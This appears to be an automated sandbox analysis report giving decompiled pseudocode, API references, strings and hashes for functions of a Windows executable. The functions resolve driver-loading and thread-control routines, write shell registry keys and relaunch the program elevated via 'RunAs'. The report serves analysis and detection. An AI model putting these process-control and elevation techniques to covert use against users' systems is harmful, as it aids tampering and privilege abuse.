memset.MSVCRT ref: 0040A66E
ReadProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A685
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A69E
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A6A8
FreeLibrary.KERNEL32(?), ref: 0040A6DC
GetLastError.KERNEL32 ref: 0040A6E4
GetLastError.KERNEL32(?,00402225,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040A6F1

Strings

GetLastError, xrefs: 0040A4FE
CreateProcessW, xrefs: 0040A4DD
kernel32.dll, xrefs: 0040A4BB
D, xrefs: 0040A528

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleProcProcessVirtual$FreeMemoryModule$AllocErrorLastWritememsetstrlen$CloseLibraryObjectOpenReadResumeSingleThreadWait
String ID: CreateProcessW$D$GetLastError$kernel32.dll
API String ID: 1572607441-20550370
Opcode ID: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction ID: 438c2ff444ec8f0d87d8749b995af300a635889f814f068fc812e1417cff7fa3
Opcode Fuzzy Hash: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction Fuzzy Hash: 557127B1800219EFCB109FA0DD8499E7BB5FF08344F14457AF949B6290CB799E90DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408E31, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 57
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E31() {
				void* _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t14;

				if( *0x41c4ac == 0) {
					_t2 = GetModuleHandleW(L"ntdll.dll");
					 *0x41c4ac = _t2;
					 *0x41c47c = GetProcAddress(_t2, "NtQuerySystemInformation");
					 *0x41c480 = GetProcAddress( *0x41c4ac, "NtLoadDriver");
					 *0x41c484 = GetProcAddress( *0x41c4ac, "NtUnloadDriver");
					 *0x41c488 = GetProcAddress( *0x41c4ac, "NtOpenSymbolicLinkObject");
					 *0x41c48c = GetProcAddress( *0x41c4ac, "NtQuerySymbolicLinkObject");
					 *0x41c490 = GetProcAddress( *0x41c4ac, "NtQueryObject");
					 *0x41c494 = GetProcAddress( *0x41c4ac, "NtOpenThread");
					 *0x41c498 = GetProcAddress( *0x41c4ac, "NtClose");
					 *0x41c49c = GetProcAddress( *0x41c4ac, "NtQueryInformationThread");
					 *0x41c4a0 = GetProcAddress( *0x41c4ac, "NtSuspendThread");
					 *0x41c4a4 = GetProcAddress( *0x41c4ac, "NtResumeThread");
					_t14 = GetProcAddress( *0x41c4ac, "NtTerminateThread");
					 *0x41c4a8 = _t14;
					return _t14;
				}
				return _t1;
			}

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

Strings

NtTerminateThread, xrefs: 00408F11
ntdll.dll, xrefs: 00408E3F
NtQueryInformationThread, xrefs: 00408EDB
NtQuerySymbolicLinkObject, xrefs: 00408E93
NtResumeThread, xrefs: 00408EFF
NtUnloadDriver, xrefs: 00408E6F
NtQueryObject, xrefs: 00408EA5
NtQuerySystemInformation, xrefs: 00408E50
NtSuspendThread, xrefs: 00408EED
NtLoadDriver, xrefs: 00408E5D
NtOpenThread, xrefs: 00408EB7
NtOpenSymbolicLinkObject, xrefs: 00408E81
NtClose, xrefs: 00408EC9

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: NtClose$NtLoadDriver$NtOpenSymbolicLinkObject$NtOpenThread$NtQueryInformationThread$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeThread$NtSuspendThread$NtTerminateThread$NtUnloadDriver$ntdll.dll
API String ID: 667068680-4280973841
Opcode ID: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction ID: 9046f7da5280d7be643cb990a4133c03c86fae9b85e8e19c009a309f84c5646f
Opcode Fuzzy Hash: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction Fuzzy Hash: 6611AD74DC8315EECB516FB1BCE9AA67E61EB08760710C437A809632B1D77A8018DF4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040B04D, Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040B04D(intOrPtr* __edi, short* _a4) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _v60;
				char _v572;
				void* __esi;
				int _t47;
				void* _t50;
				signed short* _t76;
				void* _t81;
				void* _t84;
				intOrPtr* _t96;
				int _t97;

				_t96 = __edi;
				_t97 = 0;
				_v20 = 0;
				_t47 = GetFileVersionInfoSizeW(_a4,  &_v20);
				_v8 = _t47;
				if(_t47 > 0) {
					_t50 = E00405AA7(__edi);
					_push(_v8);
					L0040B26C();
					_t84 = _t50;
					GetFileVersionInfoW(_a4, 0, _v8, _t84);
					if(VerQueryValueW(_t84, "\\",  &_v12,  &_v8) != 0) {
						_t81 = _v12;
						_t11 = _t81 + 0x30; // 0x4d46e853
						 *((intOrPtr*)(__edi + 4)) =  *_t11;
						_t13 = _t81 + 8; // 0x8d50ffff
						 *__edi =  *_t13;
						_t14 = _t81 + 0x14; // 0x5900004d
						 *((intOrPtr*)(__edi + 0xc)) =  *_t14;
						_t16 = _t81 + 0x10; // 0x65e850ff
						 *((intOrPtr*)(__edi + 8)) =  *_t16;
						_t18 = _t81 + 0x24; // 0xf4680000
						 *((intOrPtr*)(__edi + 0x10)) =  *_t18;
						_t20 = _t81 + 0x28; // 0xbb0040cd
						 *((intOrPtr*)(__edi + 0x14)) =  *_t20;
					}
					if(VerQueryValueW(_t84, L"\\VarFileInfo\\Translation",  &_v16,  &_v8) == 0) {
						L5:
						wcscpy( &_v60, L"040904E4");
					} else {
						_t76 = _v16;
						_push(_t76[1] & 0x0000ffff);
						_push( *_t76 & 0x0000ffff);
						_push(L"%4.4X%4.4X");
						_push(0x14);
						_push( &_v60);
						L0040B1EC();
						if(E0040AFBE( &_v572, _t84,  &_v60, 0x40c4e8) == 0) {
							goto L5;
						}
					}
					E0040AFBE(_t96 + 0x18, _t84,  &_v60, L"ProductName");
					E0040AFBE(_t96 + 0x218, _t84,  &_v60, L"FileDescription");
					E0040AFBE(_t96 + 0x418, _t84,  &_v60, L"FileVersion");
					E0040AFBE(_t96 + 0x618, _t84,  &_v60, L"ProductVersion");
					E0040AFBE(_t96 + 0x818, _t84,  &_v60, L"CompanyName");
					E0040AFBE(_t96 + 0xa18, _t84,  &_v60, L"InternalName");
					E0040AFBE(_t96 + 0xc18, _t84,  &_v60, L"LegalCopyright");
					E0040AFBE(_t96 + 0xe18, _t84,  &_v60, L"OriginalFileName");
					_push(_t84);
					_t97 = 1;
					L0040B272();
				}
				return _t97;
			}

APIs

GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
??2@YAPAXI@Z.MSVCRT ref: 0040B07E
GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
_snwprintf.MSVCRT ref: 0040B0FE
wcscpy.MSVCRT ref: 0040B128
??3@YAXPAX@Z.MSVCRT ref: 0040B1D8

Strings

FileDescription, xrefs: 0040B141
%4.4X%4.4X, xrefs: 0040B0F3
ProductVersion, xrefs: 0040B16B
ProductName, xrefs: 0040B12F
OriginalFileName, xrefs: 0040B1BF
LegalCopyright, xrefs: 0040B1AA
040904E4, xrefs: 0040B122
\VarFileInfo\Translation, xrefs: 0040B0D8
FileVersion, xrefs: 0040B156
CompanyName, xrefs: 0040B180
InternalName, xrefs: 0040B195

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoQueryValueVersion$??2@??3@Size_snwprintfwcscpy
String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
API String ID: 1223191525-1542517562
Opcode ID: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction ID: 283451b663653e95218ba9e6ce5340ec929c4f2fba7a9b8c11281d5ea0e9195a
Opcode Fuzzy Hash: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction Fuzzy Hash: E34144B2940219BAC704EBA5DD41DDEB7BDEF08704F100177B905B3181DB78AA59CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 00403C03, Relevance: 30.2, APIs: 20, Instructions: 235
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00403C03(void* __eflags) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* _t88;
				void* _t108;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t123;
				intOrPtr* _t124;
				void* _t134;

				_t113 = _t108;
				E00403B3C(_t113);
				E00403B16(_t113);
				DragAcceptFiles( *(_t113 + 0x10), 1);
				 *0x40f2f0 = SetWindowLongW(GetDlgItem( *(_t113 + 0x10), 0x3fd), 0xfffffffc, E00403A73);
				E00402DDD( *(_t113 + 0x10), _t113 + 0x40);
				 *(_t124 + 0x14) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x10, 0x10, 0);
				 *((intOrPtr*)(_t124 + 0x24)) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x20, 0x20, 0);
				SendMessageW( *(_t113 + 0x10), 0x80, 0,  *(_t124 + 0x10));
				SendMessageW( *(_t113 + 0x10), 0x80, 1,  *(_t124 + 0x14));
				E0040AD85(GetDlgItem( *(_t113 + 0x10), 0x402));
				 *_t124 = 0x3ea;
				E0040AD85(GetDlgItem(??, ??));
				 *_t124 = 0x3f1;
				_t116 = GetDlgItem( *(_t113 + 0x10),  *(_t113 + 0x10));
				E004049D9(_t49, E00405B81(0x259), 0x20);
				E004049D9(_t49, E00405B81(0x25a), 0x40);
				E004049D9(_t116, E00405B81(0x25b), 0x80);
				E004049D9(_t116, E00405B81(0x25c), 0x100);
				E004049D9(_t116, E00405B81(0x25d), 0x4000);
				E004049D9(_t116, E00405B81(0x25e), 0x8000);
				_t117 = GetDlgItem( *(_t113 + 0x10), 0x3f5);
				E004049D9(_t62, E00405B81(0x26c), 0);
				E004049D9(_t62, E00405B81(0x26d), 1);
				E004049D9(_t117, E00405B81(0x26e), 2);
				E004049D9(_t117, E00405B81(0x26f), 3);
				_t134 = _t124 + 0x78;
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x400);
				_t119 = 1;
				do {
					_t17 = _t119 + 0x280; // 0x281
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t17), _t119);
					_t134 = _t134 + 0xc;
					_t119 = _t119 + 1;
				} while (_t119 <= 9);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x3fc);
				_t121 = 1;
				do {
					_t21 = _t121 + 0x294; // 0x295
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t21), _t121);
					_t134 = _t134 + 0xc;
					_t121 = _t121 + 1;
				} while (_t121 <= 3);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x407);
				_t122 = 0;
				do {
					_t25 = _t122 + 0x2bc; // 0x2bc
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t25), _t122);
					_t134 = _t134 + 0xc;
					_t122 = _t122 + 1;
				} while (_t122 <= 0xd);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x40c);
				_t123 = 0;
				do {
					_t29 = _t123 + 0x2ee; // 0x2ee
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t29), _t123);
					_t134 = _t134 + 0xc;
					_t123 = _t123 + 1;
					_t143 = _t123 - 3;
				} while (_t123 < 3);
				SendDlgItemMessageW( *(_t113 + 0x10), 0x3fd, 0xc5, 0, 0);
				E00403EC3(GetDlgItem, _t113);
				SetFocus(GetDlgItem( *(_t113 + 0x10), 0x402));
				_t88 = E00402D78(_t113, _t143);
				E00402BEE(_t113);
				return _t88;
			}

APIs

Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B5D
Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B76
Part of subcall function 00403B3C: _snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00403B16: SetDlgItemTextW.USER32 ref: 00403B34

DragAcceptFiles.SHELL32(?,00000001), ref: 00403C1B
GetDlgItem.USER32 ref: 00403C2F
SetWindowLongW.USER32 ref: 00403C39

Part of subcall function 00402DDD: GetClientRect.USER32 ref: 00402DEF
Part of subcall function 00402DDD: GetWindow.USER32(?,00000005), ref: 00402E07
Part of subcall function 00402DDD: GetWindow.USER32(00000000), ref: 00402E0A
Part of subcall function 00402DDD: GetWindow.USER32(00000000,00000002), ref: 00402E16

GetModuleHandleW.KERNEL32(00000000), ref: 00403C57
LoadImageW.USER32 ref: 00403C6A
GetModuleHandleW.KERNEL32(00000000), ref: 00403C72
LoadImageW.USER32 ref: 00403C7F
SendMessageW.USER32(?,00000080,00000000,?), ref: 00403C9A
SendMessageW.USER32(?,00000080,00000001,?), ref: 00403CA6
GetDlgItem.USER32 ref: 00403CB0

Part of subcall function 0040AD85: GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
Part of subcall function 0040AD85: FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

GetDlgItem.USER32 ref: 00403CC2
GetDlgItem.USER32 ref: 00403CD4

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 004049D9: SendMessageW.USER32(?,00000143,00000000,?), ref: 004049F0
Part of subcall function 004049D9: SendMessageW.USER32(?,00000151,00000000,?), ref: 00404A02

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

GetDlgItem.USER32 ref: 00403D64
GetDlgItem.USER32 ref: 00403DC0
GetDlgItem.USER32 ref: 00403DF0
GetDlgItem.USER32 ref: 00403E20
GetDlgItem.USER32 ref: 00403E4F
SendDlgItemMessageW.USER32 ref: 00403E87
GetDlgItem.USER32 ref: 00403E9B
SetFocus.USER32(00000000), ref: 00403E9E

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$MessageSend$HandleModuleWindow$Load$Imagememset$AcceptAddressClientDragFilesFocusFreeLibraryLongProcRectStringText_snwprintfmemcpywcscpywcslen
String ID:
API String ID: 1038210931-0
Opcode ID: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction ID: 1ad7597cb923a57af30b7376ae6fce15a7391ca9e5b6ac25faa2013acf12c195
Opcode Fuzzy Hash: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction Fuzzy Hash: D261A6B09407087FE6207F71DC47F2B7A6CEF40714F000A3ABB46751D3DABA69158A59

Uniqueness

Uniqueness Score: -1.00%

Function 00404415, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 124
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404415(void* __ecx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v24;
				intOrPtr _v28;
				short _v32;
				void _v2078;
				signed int _v2080;
				void _v4126;
				char _v4128;
				void _v6174;
				char _v6176;
				void _v8222;
				char _v8224;
				signed int _t49;
				short _t55;
				intOrPtr _t56;
				int _t73;
				intOrPtr _t78;

				_t76 = __ecx;
				E0040B550(0x201c, __ecx);
				_t73 = 0;
				if(E004043F8( &_v8, 0x2001f) != 0) {
					L6:
					return _t73;
				}
				_v6176 = 0;
				memset( &_v6174, 0, 0x7fe);
				_t78 = _a4;
				_push(_t78 + 0x20a);
				_push(_t78);
				_push(L"%s\\shell\\%s\\command");
				_push(0x3ff);
				_push( &_v6176);
				L0040B1EC();
				if(E00409ECC(_t76, _v8,  &_v6176,  &_v12) == 0) {
					_t49 = E00409EF4(_v12, 0x40c4e8, _t78 + 0x414);
					asm("sbb ebx, ebx");
					_t73 =  ~_t49 + 1;
					RegCloseKey(_v12);
					_v2080 = _v2080 & 0x00000000;
					memset( &_v2078, 0, 0x7fe);
					E00404AD9( &_v2080);
					if(_v2078 == 0x3a) {
						_t55 =  *L"C:\\"; // 0x3a0043
						_v32 = _t55;
						_t56 =  *0x40ccdc; // 0x5c
						_v28 = _t56;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_v32 = _v2080;
						if(GetDriveTypeW( &_v32) == 3) {
							_v4128 = 0;
							memset( &_v4126, 0, 0x7fe);
							_v8224 = 0;
							memset( &_v8222, 0, 0x7fe);
							_push(_a4 + 0x20a);
							_push(_a4);
							_push(L"%s\\shell\\%s");
							_push(0x3ff);
							_push( &_v8224);
							L0040B1EC();
							_push( &_v2080);
							_push(L"\"%s\",0");
							_push(0x3ff);
							_push( &_v4128);
							L0040B1EC();
							E00409F1A(_t76, _v8,  &_v8224,  &_v4128);
						}
					}
				}
				RegCloseKey(_v8);
				goto L6;
			}

APIs

memset.MSVCRT ref: 00404452
_snwprintf.MSVCRT ref: 00404473

Part of subcall function 00409ECC: RegCreateKeyExW.ADVAPI32(?,?,00000000,0040C4E8,00000000,000F003F,00000000,?,?,?,?,0040448B,?,?,?,?), ref: 00409EEC

RegCloseKey.ADVAPI32(?,?,?,?,0002001F,?,?,0040390E,?), ref: 004045AB

Part of subcall function 00409EF4: wcslen.MSVCRT ref: 00409EF8
Part of subcall function 00409EF4: RegSetValueExW.ADVAPI32(004044AA,004044AA,00000000,00000001,004044AA,?,004044AA,?,0040C4E8,?,?,?,?,0002001F), ref: 00409F13

RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,0002001F,?,?,0040390E,?), ref: 004044B7
memset.MSVCRT ref: 004044CF

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

GetDriveTypeW.KERNEL32(?), ref: 00404518
memset.MSVCRT ref: 00404539
memset.MSVCRT ref: 0040454E
_snwprintf.MSVCRT ref: 00404571
_snwprintf.MSVCRT ref: 0040458A

Part of subcall function 00409F1A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409F57

Strings

%s\shell\%s, xrefs: 00404564
"%s",0, xrefs: 0040457D
%s\shell\%s\command, xrefs: 00404462
C:\, xrefs: 004044F1
:, xrefs: 004044E3

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Close_snwprintf$CreateDriveFileModuleNameTypeValuewcslen
String ID: "%s",0$%s\shell\%s$%s\shell\%s\command$:$C:\
API String ID: 486436031-734527199
Opcode ID: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction ID: 27235bf79c6ca8476a2d09a82ed3c32274241934b1c07e7e02f5f4f3263a5ff1
Opcode Fuzzy Hash: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction Fuzzy Hash: A4410EB294021CFADB20DB95CC85DDFB6BCEF44304F0084B6B608F2191E7789B559BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040645E, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040645E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, wchar_t* _a8) {
				void _v530;
				char _v532;
				void _v1042;
				long _v1044;
				long _v4116;
				char _v5164;
				void* __edi;
				void* _t27;
				void* _t38;
				void* _t44;

				E0040B550(0x142c, __ecx);
				_v1044 = 0;
				memset( &_v1042, 0, 0x1fc);
				_v532 = 0;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_pop(_t44);
				E00405AA7( &_v5164);
				_t27 = E0040B04D( &_v5164,  &_v532);
				_t61 = _t27;
				if(_t27 != 0) {
					wcscpy( &_v1044,  &_v4116);
					_pop(_t44);
				}
				wcscpy(0x40fb90, _a8);
				wcscpy(0x40fda0, L"general");
				E00405FAC(_t61, L"TranslatorName", 0x40c4e8, 0);
				E00405FAC(_t61, L"TranslatorURL", 0x40c4e8, 0);
				E00405FAC(_t61, L"Version",  &_v1044, 1);
				E00405FAC(_t61, L"RTL", "0", 0);
				EnumResourceNamesW(_a4, 4, E0040620E, 0);
				EnumResourceNamesW(_a4, 5, E0040620E, 0);
				wcscpy(0x40fda0, L"strings");
				_t38 = E00406337(_t44, _t61, _a4);
				 *0x40fb90 =  *0x40fb90 & 0x00000000;
				return _t38;
			}

APIs

memset.MSVCRT ref: 00406484
memset.MSVCRT ref: 004064A0

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

Part of subcall function 0040B04D: GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
Part of subcall function 0040B04D: ??2@YAPAXI@Z.MSVCRT ref: 0040B07E
Part of subcall function 0040B04D: GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
Part of subcall function 0040B04D: _snwprintf.MSVCRT ref: 0040B0FE
Part of subcall function 0040B04D: wcscpy.MSVCRT ref: 0040B128

wcscpy.MSVCRT ref: 004064E4
wcscpy.MSVCRT ref: 004064F3
wcscpy.MSVCRT ref: 00406503
EnumResourceNamesW.KERNEL32(00406602,00000004,0040620E,00000000), ref: 00406568
EnumResourceNamesW.KERNEL32(00406602,00000005,0040620E,00000000), ref: 00406572
wcscpy.MSVCRT ref: 0040657A

Strings

SFM, xrefs: 00406502
RTL, xrefs: 00406549
Version, xrefs: 00406536
TranslatorURL, xrefs: 00406520
general, xrefs: 004064F8
strings, xrefs: 00406574
TranslatorName, xrefs: 0040650F

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$File$EnumInfoNamesQueryResourceValueVersionmemset$??2@ModuleNameSize_snwprintf
String ID: RTL$SFM$TranslatorName$TranslatorURL$Version$general$strings
API String ID: 3037099051-2314623505
Opcode ID: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction ID: e6de4c2f5101c47608bcafe23e33f00a3ad23f8f2b1db811bf874d9a9dfc23cd
Opcode Fuzzy Hash: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction Fuzzy Hash: ED21547294021875DB20B756DC4BECF3A6CEF44754F0105BBB508B21D2D7BC5A9489ED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C26, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 72
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401C26(long _a4) {
				struct _SHELLEXECUTEINFOW _v68;
				void _v582;
				char _v584;
				void _v1110;
				char _v1112;
				long _t23;
				int _t36;
				void* _t43;
				long _t44;

				_t44 = 0;
				_t23 = GetCurrentProcessId();
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				_v1112 = 0;
				memset( &_v1110, 0, 0x208);
				E00404AD9( &_v1112);
				_push(_t23);
				_push(0);
				_push(_a4);
				_push(L"/SpecialRun %I64x %d");
				_push(0xff);
				_push( &_v584);
				L0040B1EC();
				memset( &(_v68.fMask), 0, 0x38);
				_v68.lpFile =  &_v1112;
				_v68.lpParameters =  &_v584;
				_v68.cbSize = 0x3c;
				_v68.lpVerb = L"RunAs";
				_v68.fMask = 0x40;
				_v68.nShow = 5;
				_t36 = ShellExecuteExW( &_v68);
				_t43 = _v68.hProcess;
				if(_t36 == 0) {
					_t44 = GetLastError();
				} else {
					WaitForSingleObject(_t43, 0x5dc);
					_a4 = 0;
					if(GetExitCodeProcess(_t43,  &_a4) != 0 && _a4 != 0x103) {
						_t44 = _a4;
					}
				}
				return _t44;
			}

APIs

GetCurrentProcessId.KERNEL32(004101D8,?), ref: 00401C33
memset.MSVCRT ref: 00401C4F
memset.MSVCRT ref: 00401C68

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00401C8F
memset.MSVCRT ref: 00401C9B
ShellExecuteExW.SHELL32(?), ref: 00401CD5
WaitForSingleObject.KERNEL32(?,000005DC), ref: 00401CE8
GetExitCodeProcess.KERNEL32 ref: 00401CF6
GetLastError.KERNEL32 ref: 00401D0E

Strings

<, xrefs: 00401CB9
/SpecialRun %I64x %d, xrefs: 00401C84
RunAs, xrefs: 00401CC0
@, xrefs: 00401CC7

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$CodeCurrentErrorExecuteExitFileLastModuleNameObjectShellSingleWait_snwprintf
String ID: /SpecialRun %I64x %d$<$@$RunAs
API String ID: 903100921-3385179869
